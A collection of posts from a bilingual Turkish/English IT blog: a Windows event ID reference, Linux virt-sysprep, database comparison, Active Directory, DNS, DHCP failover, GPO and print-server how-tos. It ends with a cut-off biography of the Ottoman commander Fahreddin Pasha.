made to enable a device Windows 6422 A device was enabled Windows 6423 The installation of this device is forbidden by system policy Windows 6424 The installation of this device was allowed, after having previously been forbidden by policy Windows 8191 Highest System-Defined Audit Message Value File and Network Access Log ID's Event ID Açıklama 4688, Process Created (Program Execution) 4656, Access to File or Other Object Requested 4663, Attempt made to access a file or object (dosya sildi veya editledi vs) 4658, Access to a File or object closed 4697, New Service has been Installed 1102, Log Clearing - logları silindi 4800, Screen locked - Ekran kilitlendi 4782, Password Hash of an Account has been Accessed 5140, Network Share Accessed -Ağ paylaşımı planlandı logon/logoff Log ID's Event ID Açıklama 4624, Network logon 4625, Login Failed 4634, Logoff 4647, Success Logoff 4648, Attempted Login 4672, Administrator has Logged in 4778, Session Reconnect (RDP or FastUser Switch)- RDP oturum isteği geldi 4779, RDP Session halted- RDP oturumu kapandı 4770, Kerberos Ticket Renewed 4771, Etki alanında ön kimlik doğrulama başarısız oldu 4776, Etki alanında başarılı ya da başarısız login 4793, Password Policy Checking API called User Activity Log ID's Event ID Açıklama 4704, User Right Assigned 4720, New User Account Created 4722, New User Account Enabled 4725, User Account Disabled 4726, User Account Deleted 4728, Member Added to Global Group 4731, Security Enabled Group Created 4732, Member Added to Local Group 4733, Account removed from Local Security Group 4765, SID History added to Account 4634, Local Group Deleted 4735, Local Group Changed 4740, Account Locked Out 4748, Local Group Deleted 4756, Member Added to Universal Group 4766, SID History add attempted on Account 4767, User Account Unlocked 4781, Account Name Changed Firewall' Settings Log ID's Event ID Açıklama 5025, Firewall durduruldu 4946, Firewall Rule has been Added 4947, Firewall Rule has been Modified 4948, Firewall Rule has been Deleted 4950, Firewall Rule has been Changed Application Log ID's Event ID Açıklama 1033/1034 Indicates successful installation or removal of .MSI and .EXE files. 11707/11708 Indicates successful installation or removal of .MSI and .EXE files 865, GPO Blocked – Exe Default Security Level 866, PO Blocked exe – Restricted Path 867, GPO Blocked Exe – Certificate rule 868, GPO Blocked Exe – zone or hash rule 882, GPO Blocke Exe by Policy Rule 1000, Application Error 1001 – WER Info 1001, EMET 1=Warning 2=Error 1002, Application Hang Software Policy Events System and Service Log ID's Event ID Açıklama 1074, System Halted - Windows Ne zaman Kapandı 7000, Service failed to start: did not respond to the start control request 7022, Service hung on start 7023, Service terminated with error 7024, Service terminated with error 7026, Service failed on system start 7031, Service terminated unexpectedly 7034, Service terminated unexpectedly 7035, Service sent a request to Stop or Start 7036, Service was Started or Stopped 7045, Service Installed 7040, Service changed from "auto start" to "disabled" (Başlangıçta, elle vs.) Task Schedular Log ID's Event ID Açıklama 100 Task Started 101 Task Start Failed 102 Task completed 103 Action start failed 106 Task registered 107 Task triggered on scheduler 108 Task triggered on event 110 Task triggered by user 111 Task terminated 118 Task triggered by computer startup 119 Task triggered on logon 129 Created Task Process 135 Launch condition not met, machine not idle 140 Task registration updated 141 Task registration deleted 142 Task disabled 200 Action started 201 Action completed 203 Action failed to start 301 Task engine properly shut down 310 Task Engine started 311 Task Engine failed to start 314 Task Engine idle 317 Task Engine started 318 Task engine properly shut down 319 Task Engine received message to start task 322 Launch request ignored, instance already running 329 Task stopping due to timeout reached 332 Launch condition not met, user not logged-on 400 Service started 411 Service signaled time change 700 Compatibility module started Windows Defender Antivirus Log ID's Event ID Açıklama 1001, Scan finished. 1002, Scan cancelled. 1003, Scan was paused. 1005, Scan Failed 1006, Malware Detected 1008, Action on Malware Failed 2000, Signature Updated 2001, Signature Update Failed 2003, Engine Update Failed 2004, Reverting to Last Known Gadd Signatures 3001, Real-Time Protection Stopped 5008, Unexpected Error Terminal Services-Remote Connection Manager and Terminal Services-Local Session Manager Log ID's Event ID Açıklama 261, Terminal Service Received Connection 1006, Large Number of Connection Attempts 1149, User authenticated 21, Logon Success 23, Logoff 24, Disconnect Saygılarımla - Best Regards --- ## Sysprep for Linux - Linux İçin Sysprep Link: https://farukguler.com/posts/sysprep-for-linux/ Sysprep, bir sanal makineyi sıfırlayabilir veya çoğu yapılandırmasını kaldırabilir, böylece ondan klonlar ve imajlar yapabilirsiniz. Bu süreçteki adımlar, SSH ana bilgisayar anahtarlarının kaldırılmasını, Ağ MAC yapılandırmasının kaldırılmasını ve kullanıcı hesaplarının silinmesini içerir.  Sysprep can reset a virtual machine or remove most of its configurations so you can make clones and images from it. The steps in this process include removing SSH host keys, removing network MAC configuration, and deleting user accounts. WARNING Using virt-sysprep in live virtual machines or at the same time as other disk editing tools can be dangerous and cause disk corruption. Before using this command, the virtual machine must be shut down and disk images must not be edited at the same time. you should also have a solid backup before proceeding. virt-sysprep'i canlı sanal makinelerde veya diğer disk düzenleme araçlarıyla aynı anda kullanmak tehlikeli olabilir ve disk bozulmasına neden olabilir. Bu komutu kullanmadan önce sanal makine kapatılmalıdır ve disk görüntüleri aynı anda düzenlenmemelidir. ayrıca işlemden önce sağlam bir yedeğinizin olması gerekir. I have shared 2 batches here that will be able to auto sysprep with the commands github. Link: Alttaki komutlar harici oto sysrep yapabilecek 2 adet toolu github'da paylaştım. Link: Debian: apt-get install libguestfs-tools Ubuntu: apt-get install libguestfs-tools Kali Linux: apt-get install libguestfs-tools Fedora: dnf install libguestfs-tools-c-1 Raspbian: apt-get install libguestfs-tools virt-sysprep virt-sysprep [--options] -d domname virt-sysprep [--options] -a disk.img [-a disk.img ...] Saygılarımla - Best regards --- ## MongoDB vs. PostgresQL Link: https://farukguler.com/posts/mongodb-vs-postgresql/ #MongoDB’yi ne zaman kullanmalısınız? MongoDB, modern uygulama geliştirme süreçlerinde esneklik, ölçeklenebilirlik ve performans sağlayan bir açık kaynaklı [NoSQL] ilişkisel olmayan veritabanı olarak öne çıkmaktadır. Esnek Veri Modeli: MongoDB, belge tabanlı bir veritabanı olarak yapılandırılmış olmayan ve yarı yapılandırılmış verilerle çalışmayı kolaylaştırır. JSON benzeri BSON belgeleri kullanarak, veri modellemesinde esneklik sağlar ve değişen veri yapılarına hızlı adapte olabilir. Yüksek Ölçeklenebilirlik: MongoDB, dağıtık mimari ve shardlama (parçalama) özellikleri sayesinde kolayca ölçeklenebilir. Büyük veri hacimlerini ve yüksek performans gerektiren uygulamaları destekler. Veritabanınızın büyüdükçe, MongoDB ile veri tabanınızı daha fazla sunucuda paralel olarak dağıtabilirsiniz. Gerçek Zamanlı Uygulamalar: MongoDB, gerçek zamanlı analitikler, içerik yönetimi sistemleri ve sosyal medya platformları gibi uygulamalar için idealdir. Büyük veri setlerinin hızlı bir şekilde işlenmesi gereken durumlarda MongoDB'nin performansı ve esnekliği ön plana çıkar. Hızlı Geliştirme ve Prototipler: MongoDB'nin esnek veri modeli, yazılım geliştirme süreçlerinde hızlı prototipler oluşturmayı ve uygulama geliştirme döngüsünü hızlandırmayı sağlar. Şema değişiklikleri ve güncellemeler, geleneksel ilişkisel veritabanlarına göre daha az kısıtlayıcıdır. Düşük Giderler: MongoDB, açık kaynaklı bir yazılım olarak ücretsiz olarak kullanılabilir. Ayrıca, bulut hizmet sağlayıcılarında sunulan yönetilen MongoDB hizmetleri, işletme maliyetlerini düşürebilir ve bakımı kolaylaştırabilir. MongoDB'yi kullanan bazı önemli şirketler ve endüstriler: Netflix Uber Airbnb Pinterest Slack Twitter #PostgreSQL’i ne zaman kullanmalısınız? PostgreSQL, açık kaynaklı bir [SQL] ilişkisel veritabanı yönetim sistemidir. Güçlü özellikleri, güvenilirliği ve ölçeklenebilirliği ile birçok farklı alanda tercih edilmektedir. Büyük ve karmaşık veri kümelerini yönetmeniz, yüksek okuma/yazma hızı ve eşzamanlılık desteğine ihtiyacınız olması durumunda PostgreSQL ideal bir seçim olabilir. Ayrıca, uygulamanızın zamanla büyüyeceğini ve artan veri hacmi ile kullanıcı yükü ile başa çıkabilecek bir veritabanı çözümü arıyorsanız da PostgreSQL'i değerlendirebilirsiniz. Verilerinizin son derece önemli olduğunu ve bunların kaybolmaması veya bozulmaması gerektiğini biliyorsanız, PostgreSQL'in güçlü veri doğrulama ve onarım araçları, gelişmiş erişim kontrolü ve yedekleme ve kurtarma seçenekleri size yardımcı olabilir. Hassas verileri işliyorsanız ve bunların yetkisiz erişime karşı korunmasını sağlamak istiyorsanız da PostgreSQL'in güvenlik özellikleri size gereken korumayı sunacaktır. PostgreSQL, JSON ve XML gibi modern veri formatlarını depolamak ve işlemek için yerel desteğe de sahiptir. Jeo-uzamsal verileri yönetmeniz ve karmaşık sorgular çalıştırmanızı sağlar PostgreSQL, web siteleri ve mobil uygulamalar için birincil veri deposu, e-ticaret platformları ve finansal sistemler gibi kritik uygulamalar, büyük veri analizi, veri ambarı ve iş zekası uygulamaları, jeo-uzamsal bilgi sistemleri ve haritalama uygulamaları ve bilimsel araştırma ve akademik projeler gibi birçok farklı alanda kullanılmaktadır. PostgreSQL kullanan bazı önemli şirketler ve endüstriler: Microsoft, PayPal GitLab MasterCard Apple Fujitsu Saygılarımla.. --- ## you do not have sufficient privileges to delete CN=outlook................. or this object is protected from accidental deletion. Link: https://farukguler.com/posts/silmek-icin-yeterli-ayricaliginiz-yok/ Active Directory Users and Computers Kullanıcı veya grup silme problemi Active Directory Users and Computers User or group deletion problem Advanced ayarları aktif ederek Nesneyi yanlışlıkla silinmeye karşı koru" kutusunun işaretini kaldırın. “Üst öğeden devralınabilen izinlerin bu nesneye ve tüm alt nesnelere yayılmasına izin verin.(mirası aktif hale getirin) & Uncheck the "Protect object from accidental deletion" box by activating advanced settings. “Allow inheritable permissions from the parent to propagate to this object and all child objects. --- ## Bind 9 Nedir ? - What is Bind 9? Link: https://farukguler.com/posts/bind-dns-nedir/ BIND; internet üzerinde kullanılan en yaygın DNS sunucusu yazılımıdır. BIND (Berkeley Internet Name Domain) 1980lerde Berkeley Üniversitesinde 4 öğrenci tarafından ortaya atılan bir projedir. BIND ve DNS: Sunucu yapılandırmasını ve altyapısını yönetmenin önemli bir parçasıdır, uygun bir Etki Alanı Adı Sistemi (DNS) kurarak ağ arabirimlerini ve IP adreslerini ada göre aramanın kolay bir yoludur. Ağ adreslerini belirtmek için IP adresleri yerine tam etki alanı adlarının (FQDN'ler) kullanılması, hizmetlerin ve uygulamaların yapılandırılmasını kolaylaştırır ve yapılandırma dosyalarının sürdürülebilirliğini artırır. Özel ağınız için kendi DNS'nizi kurmak, sunucularınızın yönetimini iyileştirmenin harika bir yoludur. Bu Tools ortamınız birkaç ana bilgisayardan daha fazla büyüdünüğüzde vazgeçilmez olan dahili ana bilgisayar adlarınızı ve özel IP adreslerinizi merkezi şekilde yönetmenin harika bir yoludur. #Example Conf.#named.conflisten-on port 53 { 127.0.0.1; any; }; #any; (her gelen) isteğe cevap ver.listen-on-v6 port 53 { ::1; };directory "/var/named";dump-file "/var/named/data/cache_dump.db";statistics-file "/var/named/data/named_stats.txt";memstatistics-file "/var/named/data/named_mem_stats.txt";secroots-file "/var/named/data/named.secroots";recursing-file "/var/named/data/named.recursing";allow-query { localhost; };allow-query-cache { localhost; any; }; #istekleri cache al. (her gelen dahil) more... Yararlı olması dileğiyle. – Hope it’s useful. --- ## What is HPE Simplivity? Link: https://farukguler.com/posts/hpe-simplivity-nedir/ – What is HPE Simplivity?HPE Simplivity is basically a hyper converged infrastructure. In other words, it collects physical servers and storage in a single node or hyperconverged cluster. The old IT infrastructure, that is, storage, network and data protection platforms used today, is not very suitable due to the increasing business face and demands. Because the management of each requires separate experience and knowledge. Of course, the effort spent on their management is very important. Simplivity offers you very fast solutions, but I mean fast solutions, of course, not disk IO performance here. It also offers fast solutions in the disk partition, but you can perform the operations you will do on your infrastructure from a single screen and you can perform the infrastructure operations in a short time. HyperConverged solutions are actively used and are constantly being developed. With the increase in virtualization and increasing business demands, hyperconverged structures have started to meet vital features such as backup, deduplication, WAN optimization and storage cache in IT infrastructure. Thanks to HPE Simplivity, you can take only one click backups of virtual machines in your VMware infrastructure. Again, with one click, you can clone the virtual machine in your VMware infrastructure in seconds, regardless of data size. HPE Simplivity supports both VMware and Hyper-V platform. – What are the HPE Simplivity Benefits?Research from HPE Simplivity predicts an 81% reduction in the time it takes to manage infrastructure. Accordingly, it foresees a 50% increase in application performance in your infrastructure. When you look at these numbers now, you may not find it convincing. Of course, we cannot keep the same values ​​in every infrastructure, it is a fact here. However, I would like to give some information about the operations. For example, you have a 1TB virtual machine. How long will it take you to make a first backup of it? If you are taking the backup for the first time, you can take the backup in an average of 1 hour depending on your disk performance. If you are making an incremental backup, it will take 5 to 20 minutes, depending on the size of the changed data. The restore period will take quite a long time, just like the first backup. Of course, these are the most optimistic scenarios :) Thanks to Simplivity, you can take a backup of a virtual machine in less than 1 minute and restore it in less than 1 minute. – What are the HPE Simplivity Models? HPE Simplivity 380 Gen 10HPE Simplivity 2600 – Benefits for your HPE Simplivity infrastructure: Thanks to Data efficiency:Simplivity, you can manage your data more intelligently thanks to the deduplication and compression operations you will perform in your infrastructure. Deduplication: With deduplication, you can eliminate unnecessary data. What this means is that by protecting only a unique instance of the data on the disk, the workload, replication bandwidth, and storage capacity available on the disk are reduced. Thus, you can save a significant amount of your infrastructure. Compression: Compression actually works directly with deduplication. Thanks to compression, Disk workload provides a complementary value to deduplication by further reducing disk replicaiton bandwidth and storage capacity. Optimization: It is the process of processing the data on the disk depending on the usage foreseen by an application thanks to optimization. It can identify file types and make real-time decisions about where to store that data. Thus, a continuous optimization can be achieved. – Simplivity term/terminology Details: HPE Simplivity HyperConverged Node: An x86 server that is the core hardware building block of the HPE SimpliVity hyperconverged infrastructure solution. Here we come across 2 models. These; HPE Simplivity 380 and HPE Simplivity 2600. I have given information about the HPE Simplivity architecture before, but I would like to give a brief detail. HPE offers you Simplivity nodes in 2 different models. These; Simplivity 380: A node built on top of HPE's best-selling model. The HPE DL380 series is actively used in many datacenters today. He combined HPE's experience on the server with Simplivity here.Simplivity 2600: HPE Simplivity 170 Gen10 and HPE Simplivity 190 Gen10 servers are more optimized for ROBO environments.HPE OmniStack Virtual Controller (OVC): It is the software that is implemented as a single virtual machine per node and controls all aspects of the HPE Simplivitiy hyperconverged infrastructure. This virtual machine is very critical. The reason for this is that the Omnistack Accelerator Card is an important component that is directly connected and also provides the management of datastores. HPE OmniStack Accelerator Card (OAC): A PCIe-based card that manages and accelerates write and data management functions within the HPE SimpliVity hyperconverged infrastructure solution. This card simplivity other hyperconverged Yararlı olması dileğiyle. – Hope it’s useful. --- ## Everything Search Engine Link: https://farukguler.com/posts/everything-search-engine/ Aradığınız Herşeyi Anında Bulacaksınız - You Will Find Everything You Are Looking For Instantly Thanks to the Everything search engine program, which is offered for free, you will find a file you are looking for in less than 1 minute, even in a system with one million files. Ücretsiz olarak sunulan Everything arama motoru programı sayesinde aradığınız bir dosyayı bir milyon adet dosyanın bulunduğu bir sistemde bile 1 dakikadan daha sürede bulmanızı garanti eder. --- ## The Folder Redirection Group Policy Client Side Extension failed to apply one or more settings because changes must be processed before system startup or user logon. Link: https://farukguler.com/posts/once-islenmesi-gerektigi-icin/ GPO Checking Error Solved: GPO:User Configuration > Policies > Windows Setting > Folder Redirection > Desktop & Music & or Saved Games” right click Properties :Redirect to the local userprofile location Umarım faydalı olmuştur. – I hope it was useful. --- ## Determining the Lock Screen Duration of Clients Link: https://farukguler.com/posts/kilit-ekrani-suresini-belirlenmesi/ Bu özellik, bilgisayarları kullanmayan ve uzun süre boşta bırakan kullanıcıların güvenliğini sağlamak için oldukça önemlidir. Bu sayede, bir kullanıcının bilgisayarını bırakıp gitmesi veya yanında olmayan birinin bilgisayarına erişmesi durumunda bilgisayar ekranının kilitlenerek güvenliği sağlanabilir. Group Policy yönetim konsolu üzerinden oluşturulan ve istemci bilgisayarlarında uygulanan bir Policy ile bu işlem gerçekleştirilebilir. Policy, kullanıcıların bilgisayarlarını ne kadar süre boşta bırakabileceğini belirler ve belirlenen süre sonunda bilgisayar ekranını otomatik olarak kilitler. Bu sayede, kullanıcıların bilgisayarlarını kullanmayı bıraktıklarında güvenliği sağlanmış olur. Ayrıca, kullanıcıların parola ile giriş yapmaları da zorunlu hale getirilerek, başka bir kişinin bilgisayarına erişmesi veya bilgisayarın başında olmayan bir kullanıcının bilgisayarına erişmesi durumunda güvenliği artırır. GPO: User Configuration > Policies > Administrative Templates > Control Panel > Personalization 1)- Enable screen saver (Ekran korucuyu etkinleştir) > Enabled - Ok 2)- Password protect the screen saver (Ekran koruyucuyu parola ile koru) - OK 3)- Screen saver timeout second (Ekran koruyucu zaman aşımı *saniye) - Enabled --- ## Windows Server 2019 Print Service Installation and Configuration Link: https://farukguler.com/posts/windows-server-2019-print-server/ First of all, if I need to briefly talk about what Print Server is and what it does,Print Server is a service that allows you to use printers without a physical connection between the printers and your PCs in a network where there are many printers on the service. There are (2) two main types of Printers on the market: A) WiredB) Wireless Print and Document Services Installation We start the Printer Server configuration process with the installation of Print and Document Services on the Windows Server 2019 system. In Windows Server 2019, you can setup the Print Server service from the Dashboard console on Server Manager.We choose Add roles and Features from the Windows Server Manager page.After selecting the Print and Document Services role from the Server Roles page, continue on Add Features from the screen that appears. Print Server: is the main print service.Distributed Scan Server: Allows you to collect and manage your scanned documents on the network.Internet Printing: Allows clients to use print service from remote locations thanks to the Browser.LPD(line printer deamon) Service: Allows Unix/Linux systems to use the printer service. All Printers: Shows all printers.All Drivers: We can see all the printer drivers installed on the server.Forms: Imports custom page formats and color profiles.Ports: It shows the existing ports and the IP addresses of the printers we have added/will add.Deployed Printers: Shows the printers you have deployed with the GPO. Next, let's talk about the options we encounter on any printer. Open Printer Queue: Shows the sequential jobs of the printer.Pause Printing: Stops all output activity of the printer.Deploy with Group Policy: Using this option, we can distribute printers with GPO to clients in our Active Directory structure.Set Printing Defaults: This is where we can check or make changes to the default settings of the selected printer.List in Directory: Used to add the printer to the active directory.Manage Sharing: This is where we can make sharing settings.Print Test Page: It is the area where we print the test page to test the printer we have installed.Enable Branch Office Direct Printing: Enables direct printing.Properties: This is the section where we can access the printer properties.Delete and Rename: we can change the name of the printer or delete it completely. What are the printer connection types? Ethernet: Printers with a network card use this connection type. Ethernet technology provides faster and more stable output by using TCP/IP protocol.Large institutions with a high number of users and printer usage prefer this connection type. Universal Serial Bus (USB):It is the most used connection type along with Ethernet. With the latest version of USB 3.0, it has been announced that it reaches a speed of 4.8 Gbit / s. With its Plug and Play feature, it has become the standard connection method not only for printers but also for many other external hardware units. Serial Communication (Serial Port):Serial ports get their name from the fact that data is sent from the port in a serial format (1 bit at a time). They are also called COM ports. Parallel Port (LPT):Parallel ports are also known as LPT (LinePrinter) ports. This name is given because the data is transmitted in parallel (1 byte at a time) from the port. It is much faster than the serial port. It uses the port named DB25. FireWire IEEE 1394:Apple Computer Inc. Developed by It is used in large printers that we call pointers. After the printer connection types, we can now move on to adding a printer. Search the network for printers: We can find the printers that exist in the network by scanning.Add a TCP/IP or Web Services Printer by IP address or hostname: It allows us to find the IP address or hostname of a printer on the network.Add a new printer using an existing port: Allows adding a printer over existing ports.Create a new port and add a new printer: You can choose one of the TCP/IP ports. By saying “Add a TCP/IP or Web Services Printer by IP address or hostname”, I will install over the IP address that I have given to the printer before. "My Printer IP:10.5.8.153" Let's fix the ip addresses of the printers in your network, you have to do this from the interface panel of each printer itself, DHCP is not recommended for printers. If our server can contact the printer, it will automatically detect the model and driver of the printer (if the driver is in the Microsoft catalog).But if it cannot make contact or if the driver we need is not in the Microsoft catalog, we have to intervene. By saying “Use an existing printer driver on the computer”, you can show one of the drivers that we have installed on the server before, or by saying “Add driver” you can import the driver from the Microsoft catalog or from outside. As you can see, the printer named "Kat3_Renkli CANON" has been installed. Deploy with Group Policy (GPO) For Print Services You can use Group Policies (GPOs) to bind shared printers to specific users, computers, and groups in an Active Directory domain. In this article, we will look at how to automatically connect a shared printer for a domain user when they log on to a Windows computer. Edit the GPO and browse to Computer Configuration > Preferences > Control Panel Settings > Printers "kat_3_printers" You must create a security group named "kat_3_printers". Next, let's add the computers to which we want to distribute our printer to this security group. Check the box “Run in logged-on user’s security context (user policy option) Select item-level targeting and select the security group "kat_3_printers". Run the gpupdate /force command and restart your computer. Saygılarımla. – Best regards. --- ## GPO Reset By PowerShell Link: https://farukguler.com/posts/gpo-reset-by-powershell/ Windows işletim sistemlerinde Grup İlkesi (Group Policy - GPO) ve Yerel Güvenlik İlkesi (Local Security Policy) ayarları PowerShell ve CMD komutlarıyla varsayılan haline döndürülebilir. Nasıl Kullanılır? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Services: Stop-Service -Name gpsvc -Force Start-Service -Name gpsvc Backup GPO: Copy-Item -Path "C:\Windows\System32\GroupPolicy" -Destination "C:\Backup\GroupPolicy" -Recurse Copy-Item -Path "C:\Windows\System32\GroupPolicyUsers" -Destination "C:\Backup\GroupPolicyUsers" -Recurse Bulk Reset Group Policy Settings PS: (gpedit.msc) Remove-Item -Path "C:\Windows\System32\GroupPolicy\*" -Force -Recurse -ErrorAction SilentlyContinue Remove-Item -Path "C:\Windows\System32\GroupPolicyUsers\*" -Force -Recurse -ErrorAction SilentlyContinue gpupdate /force Reset Local Security Policy Settings to Default in Windows CMD and PS: (secpol.msc) secedit /configure /cfg %windir%\inf\defltbase.inf /db defltbase.sdb /verbose secedit /configure /cfg "$env:windir\inf\defltbase.inf" /db "$env:windir\security\database\defltbase.sdb" /verbose Log Wiew: notepad "$env:windir\security\logs\scesrv.log" --- ## Windows DHCP Server Failover Conf. Link: https://farukguler.com/posts/windows-dhcp-server-failover-conf/ Windows Server DHCP Failover Configuration: Installing a DHCP role on a Windows Server allows that server to distribute IP addresses on the network. However, using a single DHCP server may cause the distribution of IP addresses in the network to be interrupted and the devices connected to the network may experience difficulties in communication in case the server fails. Therefore, two DHCP servers can be configured using the DHCP failover feature. All DHCP configuration information is automatically synchronized between these servers, including IP addresses and other settings. In this way, in case of a DHCP server failure, the other server continues to serve and the distribution of IP addresses in the network continues uninterrupted. For this process, a server with at least Windows Server 2012 or newer must be prepared first. After the DHCP role setup is performed, the DHCP failover feature must be configured. This process includes configuring DHCP servers as failover partners and performing synchronization. Two DHCP servers must be prepared for the DHCP failover feature. They will be configured as failover partners. DHCP servers must include at least one DHCP scope for IP addresses to be synchronized. A failover partner relationship is then established between the DHCP servers and synchronization settings are made. The synchronization interval and the synchronization frequency are determined. This process ensures that all changes made between DHCP servers are synchronized. Finally, DHCP failover is tested and ensured that the system is working properly. Thus, uninterrupted distribution of IP addresses of devices used in the network is ensured. First of all, a new server will be installed on it, including the DHCP role, and it will be included in the domain. ***DHCP Failover Features******The following specifications apply to DHCP failover: ***You cannot configure DHCP failover in a DHCP scope to include more than (2) two DHCP servers. ***DHCP failover only supports DHCPv4 scopes. Failover cannot be enabled in DHCPv6 scopes. DHCP failover partners must both be running Windows Server 2012 or a later operating system. DHCP failover can be configured and settings changed without needing to pause, stop, or restart the DHCP Server service. ***If the parameters of a failover enabled scope are changed, these settings must be "manually" copied to the public DHCP server. Note: If you use IP address management (IPAM) on Windows Server 2012 R2 to change scope settings with failover, automatic replication of scope settings is available. Replication of scope settings can be initiated from any DHCP server to the failover partner server. Clustered DHCP is supported with DHCP failover. For failover purposes, a DHCP cluster is treated as a single DHCP server. See DHCP failover and Windows Failover Clustering for more information. DHCP clients must be able to communicate with both DHCP failover partner servers either directly or using a DHCP relay. DHCP servers configured as failover partners can exist in different subnets, but this is not required. When DHCP failover is enabled in a DHCP scope, the DHCP server that renews the DHCP client lease may be different from the DHCP server that originally issued the lease. Two DHCP servers configured as failover partners will attempt to maintain a persistent TCP/IP connection. Two separate, synchronized client lease databases are maintained independently by each DHCP failover partner server. DHCP servers configured as failover partners are both aware of the status of the DHCP service on the other server and are notified of any change in this status with minimal delay. If two DHCP servers configured as failover partners cannot communicate, measures are taken to prevent the same IP address lease from being given to two different DHCP clients. If a DHCP server becomes unavailable without successfully synchronizing all DHCP client information with the failover partner, measures are taken to ensure DHCP lease continuity for DHCP clients. Let's start.... On the Authorization screen, we need to authorize a user for the DHCP Server. Since we will be the administrator user, we complete the DHCP server authorization by selecting the first option "Use the following user's credentials" and pressing the Commit button. then I apply the following steps to "ANATOLIA" (old DHCP server), which I was using before. My second server came automatically in the This authorized DHCP Server section on the Add Server screen. We will mark the This authorized DHCP Server section and select our second server and proceed. we choose the "ANGORA" server that we will backup. The Create a new failover relationship screen appears, we continue the DHCP Failover configuration on this screen. Relationship Name:  Descriptive name given to the DHCP Failover Cluster we have configured. Maximum Client Lead Time (MCLT): It is the period defined in addition to the lease period of a DHCP client. In this case, for example, if 8 hours of lease time is set on DHCP, and if the Maximum client lead time (MCLT) value is 1 hour, the lease duration will be 9 hours in total. This Maximum client lead time (MCLT) value is sent to the second server and added to the lease periods. Normally, according to RFC 2131 standards, in DHCP Failover configuration, the lease records must be registered on both DHCP servers in order for the main DHCP server to approve the IP address leased to a client with a DHCPACK message. Since such an operation will slow down the DHCP performance, the primary DHCP server gives the client its ip address and confirms it with DHCPACK, and then sends this change to the second DHCP server, which is the replication partner, with a replication update packet. If the communication between the primary DHCP server and the second server, which is the Failover Partner, is lost, then the Maximum client lead time (MCLT) specified here is added to the end of the lease. In the Mode section; Load Balance Mode: Configures two DHCP servers in load sharing mode. DHCP servers work with each other as "Active-Active". With the Load Balance Percentage, the address distribution percentage of the DHCP servers, or in other words, the load percentage slice on the server is determined. Hot Standby Mode: It is the configuration mode where one of the DHCP servers provides active service and the second server waits as a backup in passive mode. DHCP servers work as Active-Passive. State Switchover Interval: It is the part where the time interval that the DHCP server transmits its status down to the other server when the network connection is lost is determined. If it is not checked, this notification must be made manually by the administrator with the DHCP Server console or PowerShell. Enable Message Authentication: It is used to verify failover replication between servers. Shared Secret: The failover connection between the servers allows the replication to be made with the password written here. This ensures that DHCP clients are protected against threats from rogue DHCP servers. "Shared Secret" is a password shared between client and server. The client sends an authentication request with the value "Shared Secret" before receiving a response from the DHCP server. If the server recognizes the correct "Shared Secret" value, the IP address and other configurations are securely provided to the client. On this screen, we see all the settings we have configured for DHCP Failover. We start the replication between the two servers by starting the DHCP Failover that we have configured with Finish. Finally, when we open the "ANGORA" DHCP Console, we see that the structure is added as Failover in the "Failover Relationship" section. #Types #Advanced / Assign IP addresses dynamically options DHCP: The DHCP protocol can distribute IP addresses to both operating system and non-operating system devices. That is, it can be used for devices that do not have an operating system, such as computers and network devices. BOOTP: BOOTP can also distribute IP addresses to devices with and without an operating system. However, since the BOOTP protocol has a more limited structure and is generally an older protocol, the DHCP protocol is preferred. Both: Both protocols can be used for both types of devices. However, since DHCP is more commonly used today, DHCP is preferred in most cases. DHCP offers more customization options and flexibility and generally provides better performance. Important 1Replication can be initiated from any DHCP server in a failover relationship. The settings configured on the server where the replication was initiated will overwrite the settings on the failover partner server. Therefore, always make sure that replication is started on the server configured with the settings you want to use. Important 2Changes must be copied MANUALLY. Automatic duplication of reservations and scope changes DOES NOT happen. To do Replication between servers, you need to click > Replicate Failover Scopes… on IPv4. You can also duplicate failover settings using the Command line. (CMD/PS) ***"DHCP failover is not supported for Internet Protocol version 6 (IPv6) scopes." Important 3When replicating settings between DHCP failover partner servers with different OS versions (for example: Windows Server 2012 R2 and Windows Server 2016), always change the settings and start the replication from the DHCP server with the newer OS version. This ensures that settings are recognized and consistently replicated by both failover partners. Umarım faydalı olmuştur. I hope it was useful. --- ## DNS Failover Secondary Zone Kurulumu Link: https://farukguler.com/posts/dns-secondary-zone/ Yeni bir Server ve üzerine DNS rolü de dahil kurulumu yapılarak domaine dahil edilir. Eski DNS server üzerinde DNS Zone Transfer aktif hale getirilir. (eski dns serverim ANATOLIA) Yeni kurup üzerinde DNS rolünü aktif ettiğim ANGORA server üzerinde Forward Lookup Zone > New Zone > Secondary Zone > guler.com(yedeklenmesini istediğim zone) > ip adress veya hostname > Tamam- Finish Bu işlem sonucunda yeni kurduğumuz ANGORA sunucunuz üzerine eski sunucunuzdaki zone kayıtlarınızın transfer olduğunu göreceksiniz, bu server Secondary(yedek) olduğu için burada kayıt oluşturamaz ve bazı özellikleri ise kullanamazsınız. Saygılarımla. --- ## Çöl Kaplanı Fahreddin Paşa (Ömer Fahreddin Türkkan) Link: https://farukguler.com/posts/col-kaplani-fahreddin-pasa/ Türk askeri tarihimizin önemli isimlerinden biridir, Çöl Kaplanı olarak tanınmaktadır. Osmanlı İmparatorluğu'nun son dönemlerinde doğmuş olan Fahreddin Paşa, hayatı boyunca pek çok önemli görevde bulunmuş, özellikle I. Dünya Savaşı'nda Osmanlı ordularının çeşitli cephelerinde başarılar elde etmiştir. Fahreddin Paşa, 4 Şubat 1868'de Tuna Nehri kıyısında küçük bir kasaba olan Bulgaristana bağlı Rusçuk'ta, Fatma Adile Hanım ve Mehmed Nâhid Efendinin çocuğu olarak doğdu. Genç yaşta Harp Okulu'na giren Fahreddin Paşa, burada askeri eğitimini tamamladıktan sonra çeşitli görevlerde bulundu. Balkan Savaşları ve I. Dünya Savaşı gibi zorlu dönemlerde aktif olarak görev yaptı. Fahreddin Paşa'nın en ünlü görevi, Osmanlı İmparatorluğu'nun son dönemlerindeki Arap isyanları sırasında gerçekleşti. Osmanlı İmparatorluğu'nun çöküşü sırasında, İngilizler Arapları Osmanlı İmparatorluğu'na karşı isyana teşvik etmiş ve böylece çeşitli bölgelerde isyanlar başlamıştı. Arap isyanlarının merkezinde yer alan İngiliz subayı T. E. Lawrence (Çöl Aslanı olarak da bilinir) tarafından yönetilen isyancılar, Osmanlı ordusuna karşı başarılı operasyonlar gerçekleştirdi. Bu zorlu dönemde, Osmanlı İmparatorluğu'nun son çaresi olarak Fahreddin Paşa, Osmanlı ordusunun komutasını aldı ve Arap isyanlarının merkezinde yer alan Hicaz bölgesine gönderildi. Hicaz bölgesinde, Medine'nin savunmasını üstlendi ve burada İngilizlerin ve isyancıların saldırılarına karşı kahramanca mücadele etti. 